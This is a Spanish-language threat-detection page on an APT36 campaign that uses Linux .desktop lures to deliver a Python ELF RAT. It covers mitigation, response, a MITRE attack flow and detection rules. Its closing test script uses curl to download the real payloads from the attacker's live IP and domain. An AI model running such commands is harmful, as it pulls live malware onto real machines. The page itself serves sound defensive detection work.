APT36 Despliega Malware ELF Python Contra Entidades del Gobierno Indio
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
APT36 (Transparent Tribe) realizó una campaña de spear-phishing que dejó caer archivos de acceso directo maliciosos .desktop de Linux en usuarios del gobierno indio. Estos lanzadores recuperan y ejecutan un RAT basado en ELF y Python llamado swcbc desde un servidor controlado por el atacante. El malware mantiene la persistencia a través de un servicio systemd a nivel de usuario y se comunica con su C2 a través de HTTP para exfiltrar datos y ejecutar comandos. La campaña destaca la creciente capacidad del grupo para operar eficazmente en entornos Linux.
Investigación
La investigación siguió la cadena desde el archivo adjunto .zip inicial hasta el lanzador .desktop, el PDF señuelo, y las dos cargas útiles (binario ELF swcbc y script swcbc.sh) descargados desde una dirección IP controlada por el actor. El análisis mostró que el binario ELF es un RAT Python empaquetado con PyInstaller, con capacidades para perfilar sistemas, cargar/descargar archivos, capturar pantallas y autodestruirse. La persistencia se implementa registrando un servicio systemd dentro del directorio de configuración del usuario.
Mitigación
Las defensas recomendadas incluyen bloquear la ejecución de archivos .desktop, .sh y binarios ELF recibidos por correo electrónico y aplicar ejecución en sandbox para archivos adjuntos sospechosos. Deshabilite la ejecución automática desde rutas escriturables por el mundo como /tmp y aplique opciones de montaje noexec donde sea posible. Monitoree el tráfico DNS y HTTP para conexiones al dominio y IP maliciosos identificados. Implemente un control estricto de aplicaciones en herramientas como curl y LibreOffice.
Respuesta
Cuando se detecte actividad, aísle el host Linux afectado, recopile los artefactos maliciosos y la unidad de servicio systemd, y elimine el directorio oculto ~/.swcbc. Use herramientas forenses para extraer el identificador único del host y termine cualquier sesión C2 en curso. Actualice el contenido de detección con los IOCs observados y busque proactivamente patrones similares en todo el entorno más amplio.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[«<b>Acción</b> – <b>T1566 Phishing</b>: Adjunto de phishing dirigido<br /><b>Descripción</b>: El adversario envía un acceso directo malicioso .desktop al objetivo.»] class initial_access_phishing action user_execution_file[«<b>Acción</b> – <b>T1204.002 Ejecución de Usuario</b>: Archivo Malicioso<br /><b>Descripción</b>: La víctima abre el archivo .desktop, lo que provoca la ejecución del script incrustado.»] class user_execution_file action obfuscation[«<b>Acción</b> – <b>T1027 Archivos Obfuscados</b>: Codificación de Datos<br /><b>Descripción</b>: El script se almacena como una cadena codificada en Base64 y la carga útil ELF está empaquetada con PyInstaller.»] class obfuscation action masquerading[«<b>Acción</b> – <b>T1036 Suplantación</b><br /><b>Descripción</b>: El acceso directo .desktop imita un documento de oficina legítimo y abre un PDF señuelo.»] class masquerading action ingress_tool_transfer[«<b>Acción</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b><br /><b>Descripción</b>: El script descarga un binario ELF y un script shell desde un servidor HTTP remoto.»] class ingress_tool_transfer action execution_unix_shell[«<b>Acción</b> – <b>T1059 Intérprete de Comandos y Scripts</b>: Shell Unix<br /><b>Descripción</b>: El descargador otorga permiso de ejecución y ejecuta las cargas útiles en segundo plano.»] class execution_unix_shell action persistence_systemd[«<b>Acción</b> – <b>T1543 Crear o Modificar Proceso del Sistema</b><br /><b>Descripción</b>: Se crea y habilita un servicio de usuario malicioso systemd para iniciarse al inicio de sesión.»] class persistence_systemd action persistence_boot_script[«<b>Acción</b> – <b>T1037.004 Scripts de Inicialización de Arranque o Inicio de Sesión</b><br /><b>Descripción</b>: El servicio systemd a nivel de usuario actúa como un script de arranque o inicio de sesión para la persistencia.»] class persistence_boot_script action discovery_system_info[«<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b><br /><b>Descripción</b>: ELF RAT recopila la versión del SO, nombre de host, nombre de usuario y dirección MAC.»] class discovery_system_info action discovery_file_dir[«<b>Acción</b> – <b>T1083 Descubrimiento de Archivos y Directorios</b><br /><b>Descripción</b>: El malware enumera el sistema de archivos para localizar archivos para exfiltración.»] class discovery_file_dir action command_control_app_layer[«<b>Acción</b> – <b>T1071 Protocolo de Capa de Aplicación</b><br /><b>Descripción</b>: El implante se comunica con el servidor C2 usando HTTP GET/POST.»] class command_control_app_layer action data_encoding[«<b>Acción</b> – <b>T1132 Codificación de Datos</b><br /><b>Descripción</b>: Las cargas útiles de C2 están codificadas en Base64 para oscurecer el contenido.»] class data_encoding action collection_local_data[«<b>Acción</b> – <b>T1005 Datos del Sistema Local</b><br /><b>Descripción</b>: RAT archiva los archivos seleccionados en archivos ZIP para subirlos.»] class collection_local_data action exfiltration_http[«<b>Acción</b> – <b>T1005 Datos del Sistema Local (Exfiltración)</b><br /><b>Descripción</b>: Los archivos se envían al atacante mediante solicitudes HTTP POST.»] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[«<b>Artifacto</b> – <b>Acceso Directo .desktop</b><br /><b>Archivo</b>: Analysis_Proc_Report_Gem.desktop<br /><b>Propósito</b>: Ejecuta el script Base64.»] class file_desktop artifact script_base64[«<b>Malware</b> – <b>Script Base64</b><br /><b>Contenido</b>: Decodifica y ejecuta la lógica del descargador.»] class script_base64 malware elf_payload[«<b>Malware</b> – <b>Binario ELF (swcbc)</b><br /><b>Tipo</b>: RAT empaquetado entregado vía PyInstaller.»] class elf_payload malware shell_script_payload[«<b>Malware</b> – <b>Script Shell (swcbc.sh)</b><br /><b>Propósito</b>: Script auxiliar para establecer persistencia.»] class shell_script_payload malware systemd_service[«<b>Artifacto</b> – <b>Archivo de Servicio Systemd</b><br /><b>Ubicación</b>: ~/.config/systemd/user/swcbc.service<br /><b>Efecto</b>: Ejecuta la carga útil ELF al inicio de sesión del usuario.»] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing u002du002d>|entrega| file_desktop file_desktop u002du002d>|invoca| script_base64 script_base64 u002du002d>|obfuscates| obfuscation script_base64 u002du002d>|suplanta como| masquerading script_base64 u002du002d>|descarga| elf_payload script_base64 u002du002d>|descarga| shell_script_payload ingress_tool_transfer u002du002d>|facilita la descarga de| elf_payload ingress_tool_transfer u002du002d>|facilita la descarga de| shell_script_payload script_base64 u002du002d>|ejecuta via| execution_unix_shell elf_payload u002du002d>|se ejecuta como| process_elf[(«Proceso ELF»)] class process_elf process process_elf u002du002d>|establece| command_control_app_layer process_elf u002du002d>|recopila información de sistema vía| discovery_system_info process_elf u002du002d>|enumera archivos vía| discovery_file_dir process_elf u002du002d>|archiva archivos vía| collection_local_data collection_local_data u002du002d>|codifica datos vía| data_encoding collection_local_data u002du002d>|exfiltrates via| exfiltration_http exfiltration_http u002du002d>|usa| command_control_app_layer shell_script_payload u002du002d>|crea| systemd_service systemd_service u002du002d>|habilita| persistence_systemd persistence_systemd u002du002d>|proporciona| persistence_boot_script persistence_boot_script u002du002d>|asegura ejecución al inicio de sesión| execution_unix_shell
Flujo de Ataque
Detecciones
Detección de Descarga de URL Maliciosa de APT36 [Proxy]
Ver
Ejecución de .desktop y script shell maliciosos de APT36 [Creación de proceso en Linux]
Ver
IOCs (SourceIP) para detectar: Malware basado en ELF de Python de APT36 dirigido a entidades gubernamentales indias
Ver
IOCs (DestinationIP) para detectar: Malware basado en ELF de Python de APT36 dirigido a entidades gubernamentales indias
Ver
IOCs (HashSha256) para detectar: Malware basado en ELF de Python de APT36 dirigido a entidades gubernamentales indias
Ver
Ejecución de Simulación
Requisito previo: La Verificación Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.
-
Narrativa de Ataque y Comandos:
Un operador de APT‑36 aloja tres cargas útiles en una infraestructura comprometida y distribuye sus URLs mediante un correo electrónico de phishing. La víctima, usando un navegador web configurado para enrutar el tráfico a través del proxy corporativo, hace clic en cada enlace. El proxy registra cada solicitud GET, produciendo entradas que coinciden con la reglaurl|alllista. Las cargas útiles son:- Un binario ELF puro (
swcbc) entregado a través de HTTP. - Un script shell (
swcbc.sh) que, cuando se ejecuta, instala el ELF. - Un PDF señuelo (
Analysis_Proc_Report_Gem.pdf) destinado a animar al usuario a abrir el archivo mientras el ELF malicioso se ejecuta en segundo plano.
- Un binario ELF puro (
-
Script de Prueba de Regresión:
#!/usr/bin/env bash # Simulación de descarga de URL maliciosa de APT‑36 – activa la regla Sigma. set -euo pipefail # Definir las URLs maliciosas (cadenas exactas de la regla Sigma) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # Descargar cada carga útil a través del proxy corporativo. # Suponga que la variable de entorno http_proxy/https_proxy apunta al proxy. for u in "${urls[@]}"; do echo "[*] Descargando $u a través del proxy..." curl -s -O "$u" done echo "[+] Todos los archivos maliciosos descargados. Verificar registros del proxy para URLs coincidentes."Guarde el script como
apt36_simulation.sh, hágalos ejecutable (chmod +x apt36_simulation.sh), y ejecútelo en la estación de trabajo protegida. -
Comandos de Limpieza:
#!/usr/bin/env bash # Eliminar todos los archivos creados por la simulación rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] Limpieza completa."